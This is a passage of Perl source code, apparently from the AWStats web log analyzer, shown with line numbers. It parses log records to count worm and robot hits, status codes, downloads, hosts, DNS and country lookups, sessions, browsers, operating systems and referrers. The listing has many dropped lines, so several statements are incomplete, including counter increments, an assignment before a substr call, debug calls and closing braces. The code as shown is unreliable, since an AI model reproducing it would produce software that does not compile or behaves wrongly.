$standalonequery = $2 || '';
18197
# For IIS setup, if pos_query is enabled we need to use it for query strings
18198
if ( $pos_query >= 0
18199
&& $field[$pos_query]
18200
&& $field[$pos_query] ne '-' )
18203
$standalonequery = $field[$pos_query];
18206
if ( $URLWithAnchor && $anchor ) {
18207
$field[$pos_url] .= "#$anchor";
18209
# Here now urlwithnoquery is /mydir/mypage.ext, /mydir, /, /page#XXX
18210
# Here now tokenquery is '' or '?' or ';'
18211
# Here now standalonequery is '' or 'param1=x'
18213
# Define page and extension
18214
#--------------------------
18218
my $extension = Get_Extension($regext, $urlwithnoquery);
18219
if ( $NotPageList{$extension} ||
18220
($MimeHashLib{$extension}[1]) && $MimeHashLib{$extension}[1] ne 'p') { $PageBool = 0;}
18221
if ( @NotPageFiles && &NotPageFile( $field[$pos_url] ) ) { $PageBool = 0; }
18223
# Analyze: misc tracker (must be before return code)
18224
#---------------------------------------------------
18225
if ( $urlwithnoquery =~ /$regmisc/o ) {
18228
" Found an URL that is a MiscTracker record with standalonequery=$standalonequery",
18232
my $foundparam = 0;
18233
foreach ( split( /&/, $standalonequery ) ) {
18234
if ( $_ =~ /^screen=(\d+)x(\d+)/i ) {
18236
$_screensize_h{"$1x$2"}++;
18240
#if ($_ =~ /cdi=(\d+)/i) { $foundparam++; $_screendepth_h{"$1"}++; next; }
18241
if ( $_ =~ /^nojs=(\w+)/i ) {
18243
if ( $1 eq 'y' ) { $_misc_h{"JavascriptDisabled"}++; }
18246
if ( $_ =~ /^java=(\w+)/i ) {
18248
if ( $1 eq 'true' ) { $_misc_h{"JavaEnabled"}++; }
18251
if ( $_ =~ /^shk=(\w+)/i ) {
18253
if ( $1 eq 'y' ) { $_misc_h{"DirectorSupport"}++; }
18256
if ( $_ =~ /^fla=(\w+)/i ) {
18258
if ( $1 eq 'y' ) { $_misc_h{"FlashSupport"}++; }
18261
if ( $_ =~ /^rp=(\w+)/i ) {
18263
if ( $1 eq 'y' ) { $_misc_h{"RealPlayerSupport"}++; }
18266
if ( $_ =~ /^mov=(\w+)/i ) {
18268
if ( $1 eq 'y' ) { $_misc_h{"QuickTimeSupport"}++; }
18271
if ( $_ =~ /^wma=(\w+)/i ) {
18274
$_misc_h{"WindowsMediaPlayerSupport"}++;
18278
if ( $_ =~ /^pdf=(\w+)/i ) {
18280
if ( $1 eq 'y' ) { $_misc_h{"PDFSupport"}++; }
18284
if ($foundparam) { $_misc_h{"TotalMisc"}++; }
18287
# Analyze: successful favicon (=> countedtraffic=1 if favicon)
18288
#--------------------------------------------------
18289
if ( $urlwithnoquery =~ /$regfavico/o ) {
18290
if ( $field[$pos_code] != 404 ) {
18291
$_misc_h{'AddToFavourites'}++;
18294
1; # favicon is a case that must not be counted anywhere else
18295
$_time_nv_h[$hourrecord]++;
18296
if ( $field[$pos_code] != 404 && $pos_size>0) {
18297
$_time_nv_k[$hourrecord] += int( $field[$pos_size] );
18301
# Analyze: Worms (=> countedtraffic=2 if worm)
18302
#---------------------------------------------
18303
if ( !$countedtraffic ) {
18304
if ($LevelForWormsDetection) {
18305
foreach (@WormsSearchIDOrder) {
18306
if ( $field[$pos_url] =~ /$_/ ) {
18309
my $worm = &UnCompileRegex($_);
18312
" Record is a hit from a worm identified by '$worm'",
18316
$worm = $WormsHashID{$worm} || 'unknown';
18318
if ($pos_size>0){$_worm_k{$worm} += int( $field[$pos_size] );}
18319
$_worm_l{$worm} = $timerecord;
18320
$countedtraffic = 2;
18321
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
18322
$_time_nv_h[$hourrecord]++;
18323
if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );}
18330
# Analyze: Status code (=> countedtraffic=3 if error)
18331
#----------------------------------------------------
18332
if ( !$countedtraffic ) {
18333
if ( $LogType eq 'W' || $LogType eq 'S' )
18334
{ # HTTP record or Stream record
18335
if ( $ValidHTTPCodes{ $field[$pos_code] } ) { # Code is valid
18336
if ( int($field[$pos_code]) == 304 && $pos_size>0) { $field[$pos_size] = 0; }
18338
if (int($field[$pos_code]) == 200 && $MimeHashLib{$extension}[1] eq 'd'){
18339
$_downloads{$urlwithnoquery}->{'AWSTATS_HITS'}++;
18340
$_downloads{$urlwithnoquery}->{'AWSTATS_SIZE'} += ($pos_size>0 ? int($field[$pos_size]) : 0);
18341
if ($Debug) { debug( " New download detected: '$urlwithnoquery'", 2 ); }
18343
# handle 206 download continuation message IF we had a successful 200 before, otherwise it goes in errors
18344
}elsif(int($field[$pos_code]) == 206
18345
#&& $_downloads{$urlwithnoquery}->{$field[$pos_host]}[0] > 0
18346
&& ($MimeHashLib{$extension}[1] eq 'd')){
18347
$_downloads{$urlwithnoquery}->{'AWSTATS_SIZE'} += ($pos_size>0 ? int($field[$pos_size]) : 0);
18348
$_downloads{$urlwithnoquery}->{'AWSTATS_206'}++;
18349
#$_downloads{$urlwithnoquery}->{$field[$pos_host]}[1] = $timerecord;
18351
#$_downloads{$urlwithnoquery}->{$field[$pos_host]}[2] = int($field[$pos_size]);
18352
$DayBytes{$yearmonthdayrecord} += int($field[$pos_size]);
18353
$_time_k[$hourrecord] += int($field[$pos_size]);
18355
$countedtraffic = 6; # 206 continued download, so we track bandwidth but not pages or hits
18356
if ($Debug) { debug( " Download continuation detected: '$urlwithnoquery'", 2 ); }
18357
}else { # Code is not valid
18358
if ( $field[$pos_code] !~ /^\d\d\d$/ ) {
18359
$field[$pos_code] = 999;
18361
$_errors_h{ $field[$pos_code] }++;
18362
if ($pos_size>0){$_errors_k{ $field[$pos_code] } += int( $field[$pos_size] );}
18363
foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
18364
if ( $field[$pos_code] == $code ) {
18366
# This is an error code which referrer need to be tracked
18368
substr( $field[$pos_url], 0,
18369
$MaxLengthOfStoredURL );
18370
$newurl =~ s/[$URLQuerySeparators].*$//;
18371
$_sider404_h{$newurl}++;
18372
if ( $pos_referer >= 0 ) {
18373
my $newreferer = $field[$pos_referer];
18374
if ( !$URLReferrerWithQuery ) {
18375
$newreferer =~ s/[$URLQuerySeparators].*$//;
18377
$_referer404_h{$newurl} = $newreferer;
18384
" Record stored in the status code chart (status code=$field[$pos_code])",
18388
$countedtraffic = 3;
18389
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
18390
$_time_nv_h[$hourrecord]++;
18391
if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );}
18394
elsif ( $LogType eq 'M' ) { # Mail record
18395
if ( !$ValidSMTPCodes{ $field[$pos_code] } )
18396
{ # Code is not valid
18397
$_errors_h{ $field[$pos_code] }++;
18398
if ( $field[$pos_size] ne '-' && $pos_size>0) {
18399
$_errors_k{ $field[$pos_code] } +=
18400
int( $field[$pos_size] );
18404
" Record stored in the status code chart (status code=$field[$pos_code])",
18408
$countedtraffic = 3;
18409
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
18410
$_time_nv_h[$hourrecord]++;
18411
if ( $field[$pos_size] ne '-' && $pos_size>0) {
18412
$_time_nv_k[$hourrecord] += int( $field[$pos_size] );
18416
elsif ( $LogType eq 'F' ) { # FTP record
18420
# Analyze: Robot from robot database (=> countedtraffic=4 if robot)
18421
#------------------------------------------------------------------
18422
if ( !$countedtraffic ) {
18423
if ( $pos_agent >= 0 ) {
18425
$field[$pos_agent] =~ s/%20/_/g;
18426
} # This is to support servers (like Roxen) that writes user agent with %20 in it
18427
$UserAgent = $field[$pos_agent];
18428
if ( $UserAgent && $UserAgent eq '-' ) { $UserAgent = ''; }
18430
if ($LevelForRobotsDetection) {
18433
my $uarobot = $TmpRobot{$UserAgent};
18436
#study $UserAgent; Does not increase speed
18437
foreach (@RobotsSearchIDOrder) {
18438
if ( $UserAgent =~ /$_/ ) {
18439
my $bot = &UnCompileRegex($_);
18440
$TmpRobot{$UserAgent} = $uarobot = "$bot"
18441
; # Last time, we won't search if robot or not. We know it is.
18444
" UserAgent '$UserAgent' is added to TmpRobot with value '$bot'",
18452
{ # Last time, we won't search if robot or not. We know it's not.
18453
$TmpRobot{$UserAgent} = $uarobot = '-';
18456
if ( $uarobot ne '-' ) {
18458
# If robot, we stop here
18461
" UserAgent '$UserAgent' contains robot ID '$uarobot'",
18465
$_robot_h{$uarobot}++;
18466
if ( $field[$pos_size] ne '-' && $pos_size>0) {
18467
$_robot_k{$uarobot} += int( $field[$pos_size] );
18469
$_robot_l{$uarobot} = $timerecord;
18470
if ( $urlwithnoquery =~ /$regrobot/o ) {
18471
$_robot_r{$uarobot}++;
18473
$countedtraffic = 4;
18474
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
18475
$_time_nv_h[$hourrecord]++;
18476
if ( $field[$pos_size] ne '-' && $pos_size>0) {
18477
$_time_nv_k[$hourrecord] +=
18478
int( $field[$pos_size] );
18483
my $uarobot = 'no_user_agent';
18485
# It's a robot or at least a bad browser, we stop here
18488
" UserAgent not defined so it should be a robot, saved as robot 'no_user_agent'",
18492
$_robot_h{$uarobot}++;
18493
if ($pos_size>0){$_robot_k{$uarobot} += int( $field[$pos_size] );}
18494
$_robot_l{$uarobot} = $timerecord;
18495
if ( $urlwithnoquery =~ /$regrobot/o ) {
18496
$_robot_r{$uarobot}++;
18498
$countedtraffic = 4;
18499
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
18500
$_time_nv_h[$hourrecord]++;
18501
if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );}
18507
# Analyze: Robot from "hit on robots.txt" file (=> countedtraffic=5 if robot)
18508
# -------------------------------------------------------------------------
18509
if ( !$countedtraffic ) {
18510
if ( $urlwithnoquery =~ /$regrobot/o ) {
18511
if ($Debug) { debug( " It's an unknown robot", 2 ); }
18512
$_robot_h{'unknown'}++;
18513
if ($pos_size>0){$_robot_k{'unknown'} += int( $field[$pos_size] );}
18514
$_robot_l{'unknown'} = $timerecord;
18515
$_robot_r{'unknown'}++;
18516
$countedtraffic = 5; # Must not be counted somewhere else
18517
if ($PageBool) { $_time_nv_p[$hourrecord]++; }
18518
$_time_nv_h[$hourrecord]++;
18519
if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );}
18523
# Analyze: File type - Compression
18524
#---------------------------------
18525
if ( !$countedtraffic || $countedtraffic == 6) {
18526
if ($LevelForFileTypesDetection) {
18527
if ($countedtraffic != 6){$_filetypes_h{$extension}++;}
18528
if ( $field[$pos_size] ne '-' && $pos_size>0) {
18529
$_filetypes_k{$extension} += int( $field[$pos_size] );
18533
if ( $pos_gzipin >= 0 && $field[$pos_gzipin] )
18534
{ # If in and out in log
18535
my ( $notused, $in ) = split( /:/, $field[$pos_gzipin] );
18536
my ( $notused1, $out, $notused2 ) =
18537
split( /:/, $field[$pos_gzipout] );
18539
$_filetypes_gz_in{$extension} += $in;
18540
$_filetypes_gz_out{$extension} += $out;
18543
elsif ( $pos_compratio >= 0
18544
&& ( $field[$pos_compratio] =~ /(\d+)/ ) )
18545
{ # Calculate in/out size from percentage
18546
if ( $fieldlib[$pos_compratio] eq 'gzipratio' ) {
18548
# with mod_gzip: % is size (before-after)/before (low for jpg) ??????????
18549
$_filetypes_gz_in{$extension} +=
18551
$field[$pos_size] * 100 / ( ( 100 - $1 ) || 1 ) );
18555
# with mod_deflate: % is size after/before (high for jpg)
18556
$_filetypes_gz_in{$extension} +=
18557
int( $field[$pos_size] * 100 / ( $1 || 1 ) );
18559
if ($pos_size>0){$_filetypes_gz_out{$extension} += int( $field[$pos_size] );}
18563
# Analyze: Date - Hour - Pages - Hits - Kilo
18564
#-------------------------------------------
18567
# Replace default page name with / only ('if' is to increase speed when only 1 value in @DefaultFile)
18568
if ( @DefaultFile > 1 ) {
18569
foreach my $elem (@DefaultFile) {
18570
if ( $field[$pos_url] =~ s/\/$elem$/\// ) { last; }
18573
else { $field[$pos_url] =~ s/$regdefault/\//o; }
18575
# FirstTime and LastTime are First and Last human visits (so changed if access to a page)
18576
$FirstTime{$lastprocesseddate} ||= $timerecord;
18577
$LastTime{$lastprocesseddate} = $timerecord;
18578
$DayPages{$yearmonthdayrecord}++;
18579
$_url_p{ $field[$pos_url] }++; #Count accesses for page (page)
18580
if ( $field[$pos_size] ne '-' && $pos_size>0) {
18581
$_url_k{ $field[$pos_url] } += int( $field[$pos_size] );
18583
$_time_p[$hourrecord]++; #Count accesses for hour (page)
18584
# TODO Use an id for hash key of url
18585
# $_url_t{$_url_id}
18587
if ($countedtraffic != 6){$_time_h[$hourrecord]++;}
18588
if ($countedtraffic != 6){$DayHits{$yearmonthdayrecord}++;} #Count accesses for hour (hit)
18589
if ( $field[$pos_size] ne '-' && $pos_size>0) {
18590
$_time_k[$hourrecord] += int( $field[$pos_size] );
18591
$DayBytes{$yearmonthdayrecord} += int( $field[$pos_size] ); #Count accesses for hour (kb)
18596
if ( $pos_logname >= 0
18597
&& $field[$pos_logname]
18598
&& $field[$pos_logname] ne '-' )
18600
$field[$pos_logname] =~
18601
s/ /_/g; # This is to allow space in logname
18602
if ( $LogFormat eq '6' ) {
18603
$field[$pos_logname] =~ s/^\"//;
18604
$field[$pos_logname] =~ s/\"$//;
18605
} # logname field has " with Domino 6+
18606
if ($AuthenticatedUsersNotCaseSensitive) {
18607
$field[$pos_logname] = lc( $field[$pos_logname] );
18610
# We found an authenticated user
18612
$_login_p{ $field[$pos_logname] }++;
18613
} #Count accesses for page (page)
18614
if ($countedtraffic != 6){$_login_h{$field[$pos_logname]}++;} #Count accesses for page (hit)
18615
if ($pos_size>0){$_login_k{ $field[$pos_logname] } +=
18616
int( $field[$pos_size] );} #Count accesses for page (kb)
18617
$_login_l{ $field[$pos_logname] } = $timerecord;
18623
my $Host = $field[$pos_host];
18624
my $HostResolved = ''
18625
; # HostResolved will be defined in next paragraf if countedtraffic is true
18627
if ( !$countedtraffic || $countedtraffic == 6) {
18629
if ($DNSLookup) { # DNS lookup is 1 or 2
18630
if ( $Host =~ /$regipv4l/o ) { # IPv4 lighttpd
18631
$Host =~ s/^::ffff://;
18634
elsif ( $Host =~ /$regipv4/o ) { $ip = 4; } # IPv4
18635
elsif ( $Host =~ /$regipv6/o ) { $ip = 6; } # IPv6
18638
# Check in static DNS cache file
18639
$HostResolved = $MyDNSTable{$Host};
18640
if ($HostResolved) {
18643
" DNS lookup asked for $Host and found in static DNS cache file: $HostResolved",
18648
elsif ( $DNSLookup == 1 ) {
18650
# Check in session cache (dynamic DNS cache file + session DNS cache)
18651
$HostResolved = $TmpDNSLookup{$Host};
18652
if ( !$HostResolved ) {
18653
if ( @SkipDNSLookupFor && &SkipDNSLookup($Host) ) {
18654
$HostResolved = $TmpDNSLookup{$Host} = '*';
18657
" No need of reverse DNS lookup for $Host, skipped at user request.",
18666
pack( "C4", split( /\./, $Host ) ),
18668
; # This is very slow, may spend 20 seconds
18669
if ( !$lookupresult
18670
|| $lookupresult =~ /$regipv4/o
18671
|| !IsAscii($lookupresult) )
18673
$TmpDNSLookup{$Host} = $HostResolved =
18677
$TmpDNSLookup{$Host} = $HostResolved =
18682
" Reverse DNS lookup for $Host done: $HostResolved",
18687
elsif ( $ip == 6 ) {
18688
if ( $PluginsLoaded{'GetResolvedIP'}
18692
GetResolvedIP_ipv6($Host);
18693
if ( !$lookupresult
18694
|| !IsAscii($lookupresult) )
18696
$TmpDNSLookup{$Host} =
18697
$HostResolved = '*';
18700
$TmpDNSLookup{$Host} =
18701
$HostResolved = $lookupresult;
18705
$TmpDNSLookup{$Host} = $HostResolved =
18708
"Reverse DNS lookup for $Host not available without ipv6 plugin enabled."
18712
else { error("Bad value vor ip"); }
18717
$HostResolved = '*';
18720
" DNS lookup by static DNS cache file asked for $Host but not found.",
18729
" DNS lookup asked for $Host but this is not an IP address.",
18733
$DNSLookupAlreadyDone = $LogFile;
18737
if ( $Host =~ /$regipv4l/o ) {
18738
$Host =~ s/^::ffff://;
18739
$HostResolved = '*';
18742
elsif ( $Host =~ /$regipv4/o ) {
18743
$HostResolved = '*';
18746
elsif ( $Host =~ /$regipv6/o ) {
18747
$HostResolved = '*';
18750
if ($Debug) { debug( " No DNS lookup asked.", 4 ); }
18753
# Analyze: Country (Top-level domain)
18754
#------------------------------------
18757
" Search country (Host=$Host HostResolved=$HostResolved ip=$ip)",
18763
# Set $HostResolved to host and resolve domain
18764
if ( $HostResolved eq '*' ) {
18766
# $Host is an IP address and is not resolved (failed or not asked) or resolution gives an IP address
18767
$HostResolved = $Host;
18770
if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) {
18771
$Domain = GetCountryCodeByAddr_geoip($HostResolved);
18774
# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($HostResolved); }
18775
# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($HostResolved); }
18776
elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} ) {
18777
$Domain = GetCountryCodeByAddr_geoipfree($HostResolved);
18779
if ($AtLeastOneSectionPlugin) {
18780
foreach my $pluginname (
18781
keys %{ $PluginsLoaded{'SectionProcessIp'} } )
18783
my $function = "SectionProcessIp_$pluginname";
18785
debug( " Call to plugin function $function", 5 );
18787
&$function($HostResolved);
18793
# $Host was already a host name ($ip=0, $Host=name, $HostResolved='') or has been resolved ($ip>0, $Host=ip, $HostResolved defined)
18794
$HostResolved = lc( $HostResolved ? $HostResolved : $Host );
18798
{ # If we have ip, we use it in priority instead of hostname
18799
if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) {
18800
$Domain = GetCountryCodeByAddr_geoip($Host);
18803
# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($Host); }
18804
# elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($Host); }
18806
$PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} )
18808
$Domain = GetCountryCodeByAddr_geoipfree($Host);
18810
elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; }
18811
if ($AtLeastOneSectionPlugin) {
18812
foreach my $pluginname (
18813
keys %{ $PluginsLoaded{'SectionProcessIp'} } )
18815
my $function = "SectionProcessIp_$pluginname";
18817
debug( " Call to plugin function $function",
18825
if ( $PluginsLoaded{'GetCountryCodeByName'}{'geoip'} ) {
18826
$Domain = GetCountryCodeByName_geoip($HostResolved);
18829
# elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByName_geoip_region_maxmind($HostResolved); }
18830
# elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByName_geoip_city_maxmind($HostResolved); }
18832
$PluginsLoaded{'GetCountryCodeByName'}{'geoipfree'} )
18834
$Domain = GetCountryCodeByName_geoipfree($HostResolved);
18836
elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; }
18837
if ($AtLeastOneSectionPlugin) {
18838
foreach my $pluginname (
18839
keys %{ $PluginsLoaded{'SectionProcessHostname'} } )
18841
my $function = "SectionProcessHostname_$pluginname";
18843
debug( " Call to plugin function $function",
18846
&$function($HostResolved);
18853
if ($PageBool) { $_domener_p{$Domain}++; }
18854
if ($countedtraffic != 6){$_domener_h{$Domain}++;}
18855
if ( $field[$pos_size] ne '-' && $pos_size>0) {
18856
$_domener_k{$Domain} += int( $field[$pos_size] );
18859
# Analyze: Host, URL entry+exit and Session
18860
#------------------------------------------
18862
my $timehostl = $_host_l{$HostResolved};
18865
# A visit for this host was already detected
18866
# TODO everywhere there is $VISITTIMEOUT
18867
# $timehostl =~ /^\d\d\d\d\d\d(\d\d)/; my $daytimehostl=$1;
18868
# if ($timerecord > ($timehostl+$VISITTIMEOUT+($dateparts[3]>$daytimehostl?$NEWDAYVISITTIMEOUT:0))) {
18869
if ( $timerecord > ( $timehostl + $VISITTIMEOUT ) ) {
18871
# This is a second visit or more
18872
if ( !$_waithost_s{$HostResolved} ) {
18874
# This is a second visit or more
18875
# We count 'visit','exit','entry','DayVisits'
18878
" This is a second visit for $HostResolved.",
18882
my $timehosts = $_host_s{$HostResolved};
18883
my $page = $_host_u{$HostResolved};
18884
if ($page) { $_url_x{$page}++; }
18885
$_url_e{ $field[$pos_url] }++;
18886
$DayVisits{$yearmonthdayrecord}++;
18888
# We can't count session yet because we don't have the start so
18889
# we save params of first 'wait' session
18890
$_waithost_l{$HostResolved} = $timehostl;
18891
$_waithost_s{$HostResolved} = $timehosts;
18892
$_waithost_u{$HostResolved} = $page;
18896
# This is third visit or more
18897
# We count 'session','visit','exit','entry','DayVisits'
18900
" This is a third visit or more for $HostResolved.",
18904
my $timehosts = $_host_s{$HostResolved};
18905
my $page = $_host_u{$HostResolved};
18906
if ($page) { $_url_x{$page}++; }
18907
$_url_e{ $field[$pos_url] }++;
18908
$DayVisits{$yearmonthdayrecord}++;
18910
$_session{ GetSessionRange( $timehosts,
18915
# Save new session properties
18916
$_host_s{$HostResolved} = $timerecord;
18917
$_host_l{$HostResolved} = $timerecord;
18918
$_host_u{$HostResolved} = $field[$pos_url];
18920
elsif ( $timerecord > $timehostl ) {
18922
# This is a same visit we can count
18925
" This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]",
18929
$_host_l{$HostResolved} = $timerecord;
18930
$_host_u{$HostResolved} = $field[$pos_url];
18932
elsif ( $timerecord == $timehostl ) {
18934
# This is a same visit we can count
18937
" This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]",
18941
$_host_u{$HostResolved} = $field[$pos_url];
18943
elsif ( $timerecord < $_host_s{$HostResolved} ) {
18945
# Should happens only with not correctly sorted log files
18948
" This is same visit still running for $HostResolved with start not in order. host_s changed to $timerecord (entry page also changed if first visit)",
18952
if ( !$_waithost_s{$HostResolved} ) {
18954
# We can reorder entry page only if it's the first visit found in this update run (The saved entry page was $_waithost_e if $_waithost_s{$HostResolved} is not defined. If second visit or more, entry was directly counted and not saved)
18955
$_waithost_e{$HostResolved} = $field[$pos_url];
18959
# We can't change entry counted as we dont't know what was the url counted as entry
18961
$_host_s{$HostResolved} = $timerecord;
18966
" This is same visit still running for $HostResolved with hit between start and last hits. No change",
18974
# This is a new visit (may be). First new visit found for this host. We save in wait array the entry page to count later
18977
" New session (may be) for $HostResolved. Save in wait array to see later",
18981
$_waithost_e{$HostResolved} = $field[$pos_url];
18983
# Save new session properties
18984
$_host_u{$HostResolved} = $field[$pos_url];
18985
$_host_s{$HostResolved} = $timerecord;
18986
$_host_l{$HostResolved} = $timerecord;
18988
$_host_p{$HostResolved}++;
18990
$_host_h{$HostResolved}++;
18991
if ( $field[$pos_size] ne '-' && $pos_size>0) {
18992
$_host_k{$HostResolved} += int( $field[$pos_size] );
18995
# Analyze: Browser - OS
18996
#----------------------
18997
if ( $pos_agent >= 0 ) {
18999
if ($LevelForBrowsersDetection) {
19003
my $uabrowser = $TmpBrowser{$UserAgent};
19004
if ( !$uabrowser ) {
19008
if ( $UserAgent =~ /$regverfirefox/o
19009
&& $UserAgent !~ /$regnotfirefox/o )
19011
$_browser_h{"firefox$1"}++;
19012
$TmpBrowser{$UserAgent} = "firefox$1";
19016
elsif ( $UserAgent =~ /$regveropera/o ) {
19017
$_browser_h{"opera$1"}++;
19018
$TmpBrowser{$UserAgent} = "opera$1";
19022
elsif ( $UserAgent =~ /$regverchrome/o ) {
19023
$_browser_h{"chrome$1"}++;
19024
$TmpBrowser{$UserAgent} = "chrome$1";
19028
elsif ($UserAgent =~ /$regversafari/o
19029
&& $UserAgent !~ /$regnotsafari/o )
19031
my $safariver = $BrowsersSafariBuildToVersionHash{$1};
19032
if ( $UserAgent =~ /$regversafariver/o ) {
19035
$_browser_h{"safari$safariver"}++;
19036
$TmpBrowser{$UserAgent} = "safari$safariver";
19040
elsif ( $UserAgent =~ /$regverkonqueror/o ) {
19041
$_browser_h{"konqueror$1"}++;
19042
$TmpBrowser{$UserAgent} = "konqueror$1";
19046
elsif ( $UserAgent =~ /$regversvn/o ) {
19047
$_browser_h{"svn$1"}++;
19048
$TmpBrowser{$UserAgent} = "svn$1";
19051
# IE ? (must be at end of test)
19052
elsif ($UserAgent =~ /$regvermsie/o
19053
&& $UserAgent !~ /$regnotie/o )
19055
$_browser_h{"msie$2"}++;
19056
$TmpBrowser{$UserAgent} = "msie$2";
19059
# Netscape 6.x, 7.x ... ? (must be at end of test)
19060
elsif ( $UserAgent =~ /$regvernetscape/o ) {
19061
$_browser_h{"netscape$1"}++;
19062
$TmpBrowser{$UserAgent} = "netscape$1";
19065
# Netscape 3.x, 4.x ... ? (must be at end of test)
19066
elsif ($UserAgent =~ /$regvermozilla/o
19067
&& $UserAgent !~ /$regnotnetscape/o )
19069
$_browser_h{"netscape$2"}++;
19070
$TmpBrowser{$UserAgent} = "netscape$2";
19073
# Other known browsers ?
19076
foreach (@BrowsersSearchIDOrder)
19077
{ # Search ID in order of BrowsersSearchIDOrder
19078
if ( $UserAgent =~ /$_/ ) {
19079
my $browser = &UnCompileRegex($_);
19081
# TODO If browser is in a family, use version
19082
$_browser_h{"$browser"}++;
19083
$TmpBrowser{$UserAgent} = "$browser";
19090
# Unknown browser ?
19092
$_browser_h{'Unknown'}++;
19093
$TmpBrowser{$UserAgent} = 'Unknown';
19094
my $newua = $UserAgent;
19095
$newua =~ tr/\+ /__/;
19096
$_unknownrefererbrowser_l{$newua} = $timerecord;
19100
$_browser_h{$uabrowser}++;
19101
if ( $uabrowser eq 'Unknown' ) {
19102
my $newua = $UserAgent;
19103
$newua =~ tr/\+ /__/;
19104
$_unknownrefererbrowser_l{$newua} = $timerecord;
19110
if ($LevelForOSDetection) {
19114
my $uaos = $TmpOS{$UserAgent};
19118
# in OSHashID list ?
19119
foreach (@OSSearchIDOrder)
19120
{ # Search ID in order of OSSearchIDOrder
19121
if ( $UserAgent =~ /$_/ ) {
19122
my $osid = $OSHashID{ &UnCompileRegex($_) };
19124
$TmpOS{$UserAgent} = "$osid";
19132
$_os_h{'Unknown'}++;
19133
$TmpOS{$UserAgent} = 'Unknown';
19134
my $newua = $UserAgent;
19135
$newua =~ tr/\+ /__/;
19136
$_unknownreferer_l{$newua} = $timerecord;
19141
if ( $uaos eq 'Unknown' ) {
19142
my $newua = $UserAgent;
19143
$newua =~ tr/\+ /__/;
19144
$_unknownreferer_l{$newua} = $timerecord;
19152
$_browser_h{'Unknown'}++;
19153
$_os_h{'Unknown'}++;
19159
if ( $pos_referer >= 0
19160
&& $LevelForRefererAnalyze
19161
&& $field[$pos_referer] )
19165
if ( $field[$pos_referer] eq '-'
19166
|| $field[$pos_referer] eq 'bookmarks' )
19167
{ # "bookmarks" is sent by Netscape, '-' by all others browsers
19170
if ($ShowDirectOrigin) {
19171
print "Direct access for line $line\n";
19179
$field[$pos_referer] =~ /$regreferer/o;
19180
my $refererprot = $1;
19181
my $refererserver =
19183
. ( !$3 || $3 eq ':80' ? '' : $3 )
19184
; # refererserver is www.xxx.com or www.xxx.com:81 but not www.xxx.com:80
19186
if ( $refererprot =~ /^http/i ) {
19188
#if ($Debug) { debug(" Analyze referer refererprot=$refererprot refererserver=$refererserver",5); }
19191
if ( !$TmpRefererServer{$refererserver} )
19192
{ # TmpRefererServer{$refererserver} is "=" if same site, "search egine key" if search engine, not defined otherwise
19193
if ( $refererserver =~ /$reglocal/o ) {
19195
# Intern (This hit came from another page of the site)
19198
" Server '$refererserver' is added to TmpRefererServer with value '='",
19202
$TmpRefererServer{$refererserver} = '=';
19206
foreach (@HostAliases) {
19207
if ( $refererserver =~ /$_/ ) {
19209
# Intern (This hit came from another page of the site)
19212
" Server '$refererserver' is added to TmpRefererServer with value '='",
19216
$TmpRefererServer{$refererserver} = '=';
19223
# Extern (This hit came from an external web site).
19225
if ($LevelForSearchEnginesDetection) {
19227
foreach (@SearchEnginesSearchIDOrder)
19228
{ # Search ID in order of SearchEnginesSearchIDOrder
19229
if ( $refererserver =~ /$_/ ) {
19230
my $key = &UnCompileRegex($_);
19232
!$NotSearchEnginesKeys{$key}
19233
|| $refererserver !~
19234
/$NotSearchEnginesKeys{$key}/i
19238
# This hit came from the search engine $key
19241
" Server '$refererserver' is added to TmpRefererServer with value '$key'",
19247
$SearchEnginesHashID{ $key
19260
my $tmprefererserver =
19261
$TmpRefererServer{$refererserver};
19262
if ($tmprefererserver) {
19263
if ( $tmprefererserver eq '=' ) {
19265
# Intern (This hit came from another page of the site)
19266
if ($PageBool) { $_from_p[4]++; }
19272
# This hit came from a search engine
19275
$_se_referrals_p{$tmprefererserver}++;
19278
$_se_referrals_h{$tmprefererserver}++;
19280
if ( $PageBool && $LevelForKeywordsDetection ) {
19282
# we will complete %_keyphrases hash array
19284
split( /\?/, $field[$pos_referer], 2 )
19285
; # TODO Use \? or [$URLQuerySeparators] ?
19286
if ( $refurl[1] ) {
19288
# Extract params of referer query string (q=cache:mmm:www/zzz+aaa+bbb q=aaa+bbb/ccc key=ddd%20eee lang_en ie=UTF-8 ...)
19290
$SearchEnginesKnownUrl{
19291
$tmprefererserver} )
19292
{ # Search engine with known URL syntax
19293
foreach my $param (
19296
$KeyWordsNotSensitive
19303
s/^$SearchEnginesKnownUrl{$tmprefererserver}//
19307
# We found good parameter
19308
# Now param is keyphrase: "cache:mmm:www/zzz+aaa+bbb/ccc+ddd%20eee'fff,ggg"
19310
s/^(cache|related):[^\+]+//
19311
; # Should be useless since this is for hit on 'not pages'
19312
